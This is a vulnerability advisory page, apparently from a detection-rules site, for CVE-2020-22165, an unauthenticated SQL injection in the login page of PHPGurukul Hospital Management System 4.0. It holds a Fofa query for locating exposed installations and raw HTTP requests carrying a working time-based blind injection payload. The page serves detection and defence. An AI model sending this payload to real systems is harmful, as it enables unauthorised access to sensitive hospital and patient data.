🔙 목록으로 돌아가기

CVE-2020-22165: PHPGurukul Hospital Management System 4.0 - SQL Injection

TitlePHPGurukul Hospital Management System 4.0 - SQL Injection
Authorritikchaddha
SeverityHigh
ImpactSuccessful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.
RemediationUpgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.23655
CVE IDCVE-2020-22165
CWE IDCWE-89
Fofa Querytitle="Hospital Management System" && body="HMS"
Tags cve2020 cve hms cms sqli phpgurukul vkev vuln

🔍 Vulnerability Description

PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.

🌐 HTTP Request

POST /hms/user-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip

0
POST /hms/user-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 150
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-22165.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-22165.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A